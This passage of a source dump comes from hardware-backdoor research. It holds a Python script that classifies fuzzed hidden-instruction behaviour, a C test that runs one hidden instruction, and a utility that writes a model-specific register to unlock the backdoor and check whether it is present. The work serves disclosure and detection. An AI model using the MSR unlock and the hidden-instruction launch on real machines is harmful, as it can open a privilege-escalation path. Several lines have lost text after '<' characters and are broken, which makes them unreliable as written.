p = ins_to_patterns[ins] 184 | 185 | if p in patterns_to_ins: 186 | patterns_to_ins[p].append(ins) 187 | else: 188 | patterns_to_ins[p] = [ins] 189 | 190 | def hiword(val): 191 | return (val & 0xffff0000) >> 16 192 | 193 | def loword(val): 194 | return val & 0xffff 195 | 196 | MIN_RUNS = 1 197 | pattern_name = "word swap" 198 | print 199 | print "==== %s ====" % pattern_name 200 | o = [] 201 | for ins_run in ins_runs.values(): 202 | passed = [] 203 | for ins in ins_run: 204 | for ri, vi in ins.input_state.items(): 205 | vo = ins.output_state[ri] 206 | # ignore target registers that didn't change 207 | if vo == vi: 208 | continue 209 | if loword(vi) == hiword(vo) and hiword(vi) == loword(vo): 210 | if vo != 0: # filter 0 transfers 211 | passed.append((ins, "%s: %s: %08x -> %08x" % (ins, ri, vi, vo))) 212 | # if all runs had the same behavior 213 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS: 214 | # record only the first, don't need all 215 | (ins, result) = passed[0] 216 | o.append(result) 217 | add_ins_to_pattern(ins, pattern_name) 218 | 219 | print "\n".join(sorted(list(set(o)))) 220 | 221 | 222 | MIN_RUNS = ALL_RUNS 223 | pattern_name = "lo word copy" 224 | print 225 | print "==== %s ====" % pattern_name 226 | o = [] 227 | for ins_run in ins_runs.values(): 228 | passed = [] 229 | for ins in ins_run: 230 | for ri, vi in ins.input_state.items(): 231 | for ro, vo in ins.output_state.items(): 232 | # ignore identical regs 233 | if ri == ro: 234 | continue 235 | # ignore target registers that didn't change 236 | if ins.input_state[ro] == vo: 237 | continue 238 | if loword(vi) == loword(vo) and \ 239 | hiword(ins.input_state[ro]) == hiword(vo): 240 | if vo != 0: # filter 0 transfers 241 | passed.append((ins, "%s: %s: %08x, %s: %08x -> %08x" % (ins, ri, vi, ro, ins.input_state[ro], vo))) 242 | # if all runs had the same behavior 243 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS: 244 | # record only the first, don't need all 245 | (ins, result) = passed[0] 246 | o.append(result) 247 | add_ins_to_pattern(ins, pattern_name) 248 | 249 | print "\n".join(sorted(list(set(o)))) 250 | 251 | MIN_RUNS = ALL_RUNS 252 | pattern_name = "hi word copy" 253 | print 254 | print "==== %s ====" % pattern_name 255 | o = [] 256 | for ins_run in ins_runs.values(): 257 | passed = [] 258 | for ins in ins_run: 259 | for ri, vi in ins.input_state.items(): 260 | for ro, vo in ins.output_state.items(): 261 | # ignore identical regs 262 | if ri == ro: 263 | continue 264 | # ignore target registers that didn't change 265 | if ins.input_state[ro] == vo: 266 | continue 267 | if loword(vi) == hiword(vo) and \ 268 | loword(ins.input_state[ro]) == loword(vo): 269 | if vo != 0: # filter 0 transfers 270 | passed.append((ins, "%s: %s: %08x, %s: %08x -> %08x" % (ins, ri, vi, ro, ins.input_state[ro], vo))) 271 | # if all runs had the same behavior 272 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS: 273 | # record only the first, don't need all 274 | (ins, result) = passed[0] 275 | o.append(result) 276 | add_ins_to_pattern(ins, pattern_name) 277 | 278 | print "\n".join(sorted(list(set(o)))) 279 | 280 | MIN_RUNS = ALL_RUNS 281 | pattern_name = "ins imm load" 282 | print 283 | print "==== %s ====" % pattern_name 284 | o = [] 285 | for ins_run in ins_runs.values(): 286 | passed = [] 287 | for ins in ins_run: 288 | for ro, vo in ins.output_state.items(): 289 | # ignore target registers that didn't change 290 | if ins.input_state[ro] == vo: 291 | continue 292 | if (ins.instruction & 0xffff) == (vo & 0xffff): 293 | if vo != 0: # filter 0 transfers 294 | passed.append((ins, "%s: %s: %08x -> %08x" % (ins, ro, ins.input_state[ro], vo))) 295 | # if all runs had the same behavior 296 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS: 297 | # record only the first, don't need all 298 | (ins, result) = passed[0] 299 | o.append(result) 300 | add_ins_to_pattern(ins, pattern_name) 301 | 302 | print "\n".join(sorted(list(set(o)))) 303 | 304 | MIN_RUNS = ALL_RUNS # for reg/reg xfer, expect all runs to succeed 305 | pattern_name = "(pre) register to register xfers" 306 | print 307 | print "==== %s ====" % pattern_name 308 | o = [] 309 | #for ins in instructions: 310 | for ins_run in ins_runs.values(): 311 | passed = [] 312 | for ins in ins_run: 313 | ''' 314 | if RUN_2_ARITHMETIC and ins.run != 2: 315 | # only use the randomized run. runs with bit patterns are too 316 | # difficult to separate arithmetic from other effects 317 | continue 318 | ''' 319 | for ri, vi in ins.input_state.items(): 320 | for ro, vo in ins.output_state.items(): 321 | if ri == ro: 322 | continue 323 | # ignore aliases 324 | if ri == "dr5" and ro == "dr7" or ri == "dr7" and ro == "dr5" or \ 325 | ri == "dr4" and ro == "dr6" or ri == "dr6" and ro == "dr4": 326 | continue 327 | # ignore target registers that didn't change 328 | if ins.input_state[ro] == vo: 329 | continue 330 | if vi == vo: 331 | if vi != 0: # filter 0 transfers 332 | passed.append((ins, "%s: %s -> %s" % (ins, ri, ro))) 333 | #o.append("%s: %s -> %s" % (ins, ri, ro)) 334 | #add_ins_to_pattern(ins, pattern_name) 335 | # if all runs had the same behavior 336 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS: 337 | ''' 338 | for (ins, result) in passed: 339 | o.append(result) 340 | add_ins_to_pattern(ins, pattern_name) 341 | ''' 342 | # record only the first, don't need all 343 | (ins, result) = passed[0] 344 | o.append(result) 345 | add_ins_to_pattern(ins, pattern_name) 346 | 347 | print "\n".join(sorted(list(set(o)))) 348 | 349 | # detects some instructions wherein one instruction modifies a register, then 350 | # transfers the result to another 351 | MIN_RUNS = ALL_RUNS # for reg/reg xfer, expect all runs to succeed 352 | pattern_name = "(post) register to register xfers" 353 | print 354 | print "==== %s ====" % pattern_name 355 | o = [] 356 | #for ins in instructions: 357 | for ins_run in ins_runs.values(): 358 | passed = [] 359 | for ins in ins_run: 360 | ''' 361 | if RUN_2_ARITHMETIC and ins.run != 2: 362 | # only use the randomized run. runs with bit patterns are too 363 | # difficult to separate arithmetic from other effects 364 | continue 365 | ''' 366 | ignore = [] 367 | found = False 368 | for ri, vi in ins.input_state.items(): 369 | for ro, vo in ins.output_state.items(): 370 | if ri == ro: 371 | continue 372 | # ignore aliases 373 | if ri == "dr5" and ro == "dr7" or ri == "dr7" and ro == "dr5" or \ 374 | ri == "dr4" and ro == "dr6" or ri == "dr6" and ro == "dr4": 375 | continue 376 | if (ri, ro) in ignore: 377 | # we've already found this pair 378 | continue 379 | # if the new value for one register is equal to the new value of 380 | # another register, and the value for the first register changed, 381 | # and the value for the second register changed 382 | if ins.output_state[ri] == ins.output_state[ro] and \ 383 | ins.output_state[ri] != ins.input_state[ri] and \ 384 | ins.output_state[ro] != ins.input_state[ro]: 385 | if ins.output_state[ri] != 0: # filter 0 "transfers" 386 | # note that there is no easy way to determine the 387 | # transfer direction 388 | ''' 389 | o.append("%s: %s <-> %s" % (ins, ri, ro)) 390 | add_ins_to_pattern(ins, pattern_name) 391 | ignore.append((ri, ro)) 392 | ignore.append((ro, ri)) 393 | ''' 394 | passed.append((ins, "%s: %s <-> %s" % (ins, ri, ro))) 395 | found = True # stop on first found, no need to record all 396 | break 397 | if found: 398 | break 399 | if found: 400 | break 401 | # if all runs had the same behavior 402 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS: 403 | ''' 404 | for (ins, result) in passed: 405 | o.append(result) 406 | add_ins_to_pattern(ins, pattern_name) 407 | ''' 408 | # record only the first, don't need all 409 | (ins, result) = passed[0] 410 | o.append(result) 411 | add_ins_to_pattern(ins, pattern_name) 412 | 413 | print "\n".join(sorted(list(set(o)))) 414 | 415 | MIN_RUNS = MEM_RUNS # expect non-pointer runs to fail 416 | pattern_name = "memory writes" 417 | print 418 | print "==== %s ====" % pattern_name 419 | o = [] 420 | #for ins in instructions: 421 | for ins_run in ins_runs.values(): 422 | passed = [] 423 | for ins in ins_run: 424 | for (i, b) in enumerate(ins.input_mem): 425 | if b != ins.output_mem[i]: 426 | # find the last changed byte 427 | for k in xrange(len(ins.input_mem) - 1, i - 1, -1): 428 | if ins.output_mem[k] != ins.input_mem[k]: 429 | break 430 | r = "%s: %s -> %s" % (ins, "".join("%02x" % x for x \ 431 | in ins.input_mem[i:k+1]), "".join("%02x" % x for x in ins.output_mem[i:k+1])) 432 | passed.append((ins, r)) 433 | break 434 | # if all runs had the same behavior 435 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS: 436 | ''' 437 | for (ins, result) in passed: 438 | o.append(result) 439 | add_ins_to_pattern(ins, pattern_name) 440 | ''' 441 | # record only the first, don't need all 442 | (ins, result) = passed[0] 443 | o.append(result) 444 | add_ins_to_pattern(ins, pattern_name) 445 | 446 | print "\n".join(sorted(list(set(o)))) 447 | 448 | # memory reads 449 | def WORD(mem, n): 450 | v = 0 451 | for s in xrange(n): 452 | v = v + (mem[s] << (s * 8)) 453 | return v 454 | 455 | for n in [1, 2, 4, 8]: 456 | MIN_RUNS = MEM_RUNS # allow failing on non-memory runs 457 | pattern_name = "memory reads, %d byte" % n 458 | print 459 | print "==== %s ====" % pattern_name 460 | o = [] 461 | #for ins in instructions: 462 | for ins_run in ins_runs.values(): 463 | passed = [] 464 | for ins in ins_run: 465 | if n == 1 and ins.run > 1: 466 | continue 467 | found = False 468 | for x in [WORD(ins.input_mem[i:], n) for i in xrange(len(ins.input_mem)-n)]: 469 | if n == 1 and (x == 0 or x == 0xff): 470 | continue 471 | for k, v in ins.output_state.items(): 472 | # only counts if the register changed 473 | if ins.input_state[k] == v: 474 | continue 475 | # don't expect a read into an spr 476 | if k in sprs: 477 | continue 478 | # check for other bytes unchanged, zeroed, or oned 479 | if v == x or v == ((ins.input_state[k] & ~((1 << (n * 8)) - 1)) | x) \ 480 | or v == (~((1 << (n * 8)) - 1)) | x: 481 | r = "%s: %s: %08x -> %08x" % (ins, k, ins.input_state[k], ins.output_state[k]) 482 | ''' 483 | o.append(r) 484 | add_ins_to_pattern(ins, pattern_name) 485 | ''' 486 | passed.append((ins, r)) 487 | found = True # only get one match 488 | if found: 489 | break 490 | if found: 491 | break 492 | # if all runs had the same behavior 493 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS: 494 | ''' 495 | for (ins, result) in passed: 496 | o.append(result) 497 | add_ins_to_pattern(ins, pattern_name) 498 | ''' 499 | # record only the first, don't need all 500 | (ins, result) = passed[0] 501 | o.append(result) 502 | add_ins_to_pattern(ins, pattern_name) 503 | 504 | print "\n".join(sorted(list(set(o)))) 505 | 506 | def binop_name(s): 507 | return re.findall("^$", s)[0] 508 | 509 | # increments, decrements, push, pop 510 | MIN_RUNS = MEM_RUNS # allow failing on non-memory runs 511 | for v in [1, 2, 4, 8]: 512 | binops = [operator.add, operator.sub] 513 | for b in binops: 514 | o = [] 515 | pattern_name = "%s, %d" % (binop_name(str(b)), v) 516 | print 517 | print "==== %s ====" % pattern_name 518 | #for ins in instructions: 519 | for ins_run in ins_runs.values(): 520 | passed = [] 521 | for ins in ins_run: 522 | ''' 523 | if RUN_2_ARITHMETIC and ins.run != 2: 524 | # only use the randomized run. runs with bit patterns are too 525 | # difficult to separate arithmetic from other effects 526 | continue 527 | ''' 528 | done = False 529 | for ki1, vi1 in ins.input_state.items(): 530 | # don't expect arithmetic on sprs 531 | if ki1 in sprs: 532 | continue 533 | if b(vi1, v) == ins.output_state[ki1]: 534 | r = "%s: %s: %08x -> %08x" % (\ 535 | ins, ki1, vi1, ins.output_state[ki1]) 536 | ''' 537 | o.append(r) 538 | add_ins_to_pattern(ins, pattern_name) 539 | ''' 540 | passed.append((ins, r)) 541 | if done: 542 | break 543 | # if all runs had the same behavior 544 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS: 545 | ''' 546 | for (ins, result) in passed: 547 | o.append(result) 548 | add_ins_to_pattern(ins, pattern_name) 549 | ''' 550 | # record only the first, don't need all 551 | (ins, result) = passed[0] 552 | o.append(result) 553 | add_ins_to_pattern(ins, pattern_name) 554 | 555 | print "\n".join(sorted(list(set(o)))) 556 | 557 | # write eip 558 | 559 | def DWORD(mem): 560 | return mem[0] + (mem[1]<<8) + (mem[2]<<16) + (mem[3]<<24) 561 | MIN_RUNS = MEM_RUNS # allow failing on non-memory runs 562 | pattern_name = "call (write next eip)" 563 | print 564 | print "==== %s ====" % pattern_name 565 | o = [] 566 | DEIS_LENGTH = 7 # 4 plus wrapper 567 | #for ins in instructions: 568 | for ins_run in ins_runs.values(): 569 | passed = [] 570 | for ins in ins_run: 571 | eip = ins.input_state["eax"] + DEIS_LENGTH 572 | #for x in [DWORD(ins.output_mem[i:]) for i in xrange(len(ins.input_mem)-4)]: 573 | for i in xrange(len(ins.output_mem) - 4): 574 | x = DWORD(ins.output_mem[i:]) 575 | if x == eip: 576 | #o.append("%s: %08x -> %08x" % (ins, DWORD(ins.input_mem[i:]), x)) 577 | #add_ins_to_pattern(ins, pattern_name) 578 | r = "%s: %08x -> %08x" % (ins, DWORD(ins.input_mem[i:]), x) 579 | passed.append((ins, r)) 580 | break # some instructions seem to double write eip, only count them once 581 | # if all runs had the same behavior 582 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS: 583 | ''' 584 | for (ins, result) in passed: 585 | o.append(result) 586 | add_ins_to_pattern(ins, pattern_name) 587 | ''' 588 | # record only the first, don't need all 589 | (ins, result) = passed[0] 590 | o.append(result) 591 | add_ins_to_pattern(ins, pattern_name) 592 | 593 | print "\n".join(sorted(list(set(o)))) 594 | 595 | # shifts 596 | MIN_RUNS = ALL_RUNS # expect all runs to succeed 597 | for v in xrange(1,16): # shifts beyond 16 are too hard to distinguish from random small numbers 598 | binops = [operator.lshift, operator.rshift] 599 | for b in binops: 600 | o = [] 601 | pattern_name = "%s, %d" % (binop_name(str(b)), v) 602 | print 603 | print "==== %s ====" % pattern_name 604 | #for ins in instructions: 605 | for ins_run in ins_runs.values(): 606 | passed = [] 607 | for ins in ins_run: 608 | ''' 609 | if RUN_2_ARITHMETIC and ins.run != 2: 610 | # only use the randomized run. runs with bit patterns are too 611 | # difficult to separate arithmetic from other effects 612 | continue 613 | ''' 614 | for ki1, vi1 in ins.input_state.items(): 615 | # don't expect arithmetic on sprs 616 | if ki1 in sprs: 617 | continue 618 | # shifts to 0 are probably not shifts 619 | if not ins.output_state[ki1]: 620 | continue 621 | #TODO: is it worth exploring shifts into other registers? 622 | result = b(vi1, v) & ((1< %08x" % (\ 626 | ins, ki1, vi1, ins.output_state[ki1])) 627 | add_ins_to_pattern(ins, pattern_name) 628 | ''' 629 | r = "%s: %s: %08x -> %08x" % (\ 630 | ins, ki1, vi1, ins.output_state[ki1]) 631 | passed.append((ins, r)) 632 | break 633 | # if all runs had the same behavior 634 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS: 635 | ''' 636 | for (ins, result) in passed: 637 | o.append(result) 638 | add_ins_to_pattern(ins, pattern_name) 639 | ''' 640 | # record only the first, don't need all 641 | (ins, result) = passed[0] 642 | o.append(result) 643 | add_ins_to_pattern(ins, pattern_name) 644 | print "\n".join(sorted(list(set(o)))) 645 | 646 | # 90s 647 | # currently the fuzzer has a nop-sled after the fuzzed instruction (to catch 648 | # short forward jumps, and generally stabalize the system) ... reading 90's into 649 | # a register suggests an immediate load from a nearby location (similar to ARM) 650 | MIN_RUNS = MEM_RUNS # allow failing on non-memory runs 651 | pattern_name = "immediate load" 652 | print 653 | print "==== %s ====" % pattern_name 654 | o = [] 655 | #for ins in instructions: 656 | for ins_run in ins_runs.values(): 657 | passed = [] 658 | for ins in ins_run: 659 | for k, v in ins.output_state.items(): 660 | if v == 0x90909090: 661 | ''' 662 | o.append("%s: %s -> %08x" % (ins, k, v)) 663 | add_ins_to_pattern(ins, pattern_name) 664 | ''' 665 | r = "%s: %s -> %08x" % (ins, k, v) 666 | passed.append((ins, r)) 667 | break 668 | # if all runs had the same behavior 669 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS: 670 | ''' 671 | for (ins, result) in passed: 672 | o.append(result) 673 | add_ins_to_pattern(ins, pattern_name) 674 | ''' 675 | # record only the first, don't need all 676 | (ins, result) = passed[0] 677 | o.append(result) 678 | add_ins_to_pattern(ins, pattern_name) 679 | 680 | print "\n".join(sorted(list(set(o)))) 681 | 682 | # binary operations 683 | # these are just insanely slow, do them last 684 | MIN_RUNS = ALL_RUNS # expect all runs to succeed 685 | binops = [operator.add, operator.div, operator.mul, operator.sub, operator.mod, operator.xor, operator.and_, operator.or_] 686 | for b in binops: 687 | pattern_name = "%s" % binop_name(str(b)) 688 | print 689 | print "==== %s ====" % pattern_name 690 | o = [] 691 | #for ins in instructions: 692 | for ins_run in ins_runs.values(): 693 | passed = [] 694 | for ins in ins_run: 695 | found = False 696 | ''' 697 | if ins.run != 2: # regardless of RUN_2_ARITHMETIC 698 | # only use the randomized run. runs with bit patterns are too 699 | # difficult to separate arithmetic from other effects 700 | continue 701 | ''' 702 | for ki1, vi1 in ins.input_state.items(): 703 | if ki1 in sprs: # don't expect arithmetic on sprs 704 | continue 705 | for ki2, vi2 in ins.input_state.items(): 706 | # disallow identical values (some ops indestinguishable from bit shifts) 707 | if ki1 == ki2: 708 | continue 709 | if ki2 in sprs: # don't expect arithmetic on sprs 710 | continue 711 | for ko, vo in ins.output_state.items(): 712 | if ko in sprs: # don't expect arithmetic on sprs 713 | continue 714 | 715 | # check result, mask to register size 716 | try: 717 | result = b(vi1, vi2) & ((1< 0xffff0000 or result == vi1 or result == vi2: 723 | # too often coincidental (e.g. mod/div by large number) 724 | continue 725 | 726 | if result == vo: 727 | ''' 728 | o.append("%s: %s: %08x ... %s: %08x -> %s: %08x" % (\ 729 | ins, ki1, vi1, ki2, vi2, ko, vo)) 730 | add_ins_to_pattern(ins, pattern_name) 731 | ''' 732 | found = True 733 | r = "%s: %s: %08x ... %s: %08x -> %s: %08x" % (\ 734 | ins, ki1, vi1, ki2, vi2, ko, vo) 735 | passed.append((ins, r)) 736 | break 737 | if found: 738 | break 739 | if found: 740 | break 741 | # if all runs had the same behavior 742 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS: 743 | ''' 744 | for (ins, result) in passed: 745 | o.append(result) 746 | add_ins_to_pattern(ins, pattern_name) 747 | ''' 748 | # record only the first, don't need all 749 | (ins, result) = passed[0] 750 | o.append(result) 751 | add_ins_to_pattern(ins, pattern_name) 752 | print "\n".join(sorted(list(set(o)))) 753 | 754 | # summarize pattern groups 755 | 756 | print 757 | print "=" * 30 + " summary " + "=" * 30 758 | print 759 | 760 | # sort groups by number of patters 761 | pattern_groups = reversed(sorted(patterns_to_ins.items(), key=lambda t: len(t[0]))) 762 | for k in pattern_groups: 763 | if not patterns_to_ins[k[0]]: 764 | continue 765 | print "==== pattern ====" 766 | for p in k[0]: 767 | print " p: %s" % p 768 | o = ["%s" % i for i in patterns_to_ins[k[0]]] 769 | for i in sorted(list(set(o))): 770 | print " %s" % i 771 | print 772 | 773 | # show all grouped instructions 774 | final = sorted(list(set(str(i) for i in ins_to_patterns))) 775 | print "==== final list (%d instructions) ====" % len(final) 776 | for i in final: 777 | print i 778 | -------------------------------------------------------------------------------- /rosenbridge.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xoreaxeaxeax/rosenbridge/d90069da69de99af4528d537655de6dd7b594119/rosenbridge.gif -------------------------------------------------------------------------------- /test/Makefile: -------------------------------------------------------------------------------- 1 | all: bin/check_instruction 2 | 3 | bin/check_instruction: check_instruction.c 4 | mkdir -p bin 5 | gcc -m32 check_instruction.c -o bin/check_instruction 6 | 7 | clean: 8 | rm -f bin/* 9 | -------------------------------------------------------------------------------- /test/check_instruction.c: -------------------------------------------------------------------------------- 1 | /* runs a single deis instruction, used for testing */ 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #define PPC_RFI_BE_2 0x4c000064 8 | #define PPC_RFI_LE_2 0x6400004c 9 | #define PPC_RFI_BE_1 0x62000023 10 | #define PPC_RFI_LE_1 0x23000062 11 | 12 | #define INSTRUCTION PPC_RFI_LE_1 13 | 14 | typedef struct instruction_t { 15 | unsigned char prefix[3]; 16 | unsigned int instruction; 17 | } __attribute__ ((__packed__)) instruction_t; 18 | 19 | int main(void) __attribute__ ((section (".check,\"awx\",@progbits#"))); 20 | 21 | instruction_t* bridge_indirect; 22 | 23 | int main(void) 24 | { 25 | extern instruction_t _bridge; 26 | instruction_t* probe=&_bridge; 27 | unsigned int b; 28 | int i; 29 | 30 | instruction_t ins; 31 | 32 | ins.prefix[0]=0x8d; 33 | ins.prefix[1]=0x84; 34 | ins.prefix[2]=0x00; 35 | 36 | ins.instruction=INSTRUCTION; 37 | 38 | *probe=ins; 39 | 40 | printf("executing...\n"); 41 | __asm__ __volatile__ ("\ 42 | movl $_bridge, %%eax \n\ 43 | movl $_bridge, %%ebx \n\ 44 | movl $_bridge, %%ecx \n\ 45 | movl $_bridge, %%edx \n\ 46 | movl $_bridge, %%ebp \n\ 47 | movl $_bridge, %%esp \n\ 48 | movl $_bridge, %%esi \n\ 49 | movl $_bridge, %%edi \n\ 50 | .byte 0x0f, 0x3f \n\ 51 | _bridge: \n\ 52 | .space 0x1000, 0x90 \n\ 53 | " 54 | :: 55 | ); 56 | 57 | return 0; 58 | } 59 | -------------------------------------------------------------------------------- /util/Makefile: -------------------------------------------------------------------------------- 1 | all: bin/check 2 | 3 | bin/check: check.c 4 | mkdir -p bin 5 | gcc check.c -o ./bin/check 6 | 7 | clean: 8 | rm -f bin/* 9 | -------------------------------------------------------------------------------- /util/check.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define BACKDOOR_MSR 0x00001107 12 | #define BACKDOOR_TOGGLE 0x00000001 13 | 14 | #define MSR_DEV "/dev/cpu/0/msr" 15 | 16 | #if __x86_64__ 17 | #define IP REG_RIP 18 | #else 19 | #define IP REG_EIP 20 | #endif 21 | 22 | void sig_handler(int signum, siginfo_t* si, void* p) 23 | { 24 | ucontext_t* uc=(ucontext_t*)p; 25 | uc->uc_mcontext.gregs[IP]+=2; 26 | } 27 | 28 | void configure_handler(void) 29 | { 30 | struct sigaction s; 31 | 32 | s.sa_sigaction=sig_handler; 33 | s.sa_flags=SA_SIGINFO|SA_ONSTACK; 34 | 35 | sigfillset(&s.sa_mask); 36 | 37 | sigaction(SIGILL, &s, NULL); 38 | } 39 | 40 | volatile int psuedo_false=0; 41 | 42 | int main(void) 43 | { 44 | FILE* f; 45 | uint64_t v; 46 | 47 | f=fopen(MSR_DEV, "rb+"); 48 | 49 | if (f==NULL) { 50 | printf("! failed to open %s\n", MSR_DEV); 51 | exit(-1); 52 | } 53 | 54 | /* unlock the backdoor */ 55 | 56 | fseek(f, BACKDOOR_MSR, SEEK_SET); 57 | fread(&v, 8, 1, f); 58 | /* printf("read.... %08" PRIx64 "\n", v); */ 59 | 60 | v|=BACKDOOR_TOGGLE; 61 | 62 | fseek(f, BACKDOOR_MSR, SEEK_SET); 63 | fwrite(&v, 8, 1, f); 64 | /* printf("wrote... %08" PRIx64 "\n", v); */ 65 | 66 | fseek(f, BACKDOOR_MSR, SEEK_SET); 67 | fread(&v, 8, 1, f); 68 | /* printf("read.... %08" PRIx64 "\n", v); */ 69 | 70 | fclose(f); 71 | 72 | /* check if the launch deis instruction is enabled */ 73 | 74 | configure_handler(); 75 | 76 | __asm__ ("movl $_bridge, %eax"); 77 | __asm__ (".byte 0x0f, 0x3f"); 78 | 79 | if (psuedo_false) { /* probably a better way to do this */ 80 | __asm__ ("_bridge:"); 81 | printf("executed hidden instruction: backdoor detected.\n"); 82 | } 83 | else { 84 | printf("failed to execute hidden instruction: no backdoor detected.\n"); 85 | } 86 | 87 | return 0; 88 | } 89 | --------------------------------------------------------------------------------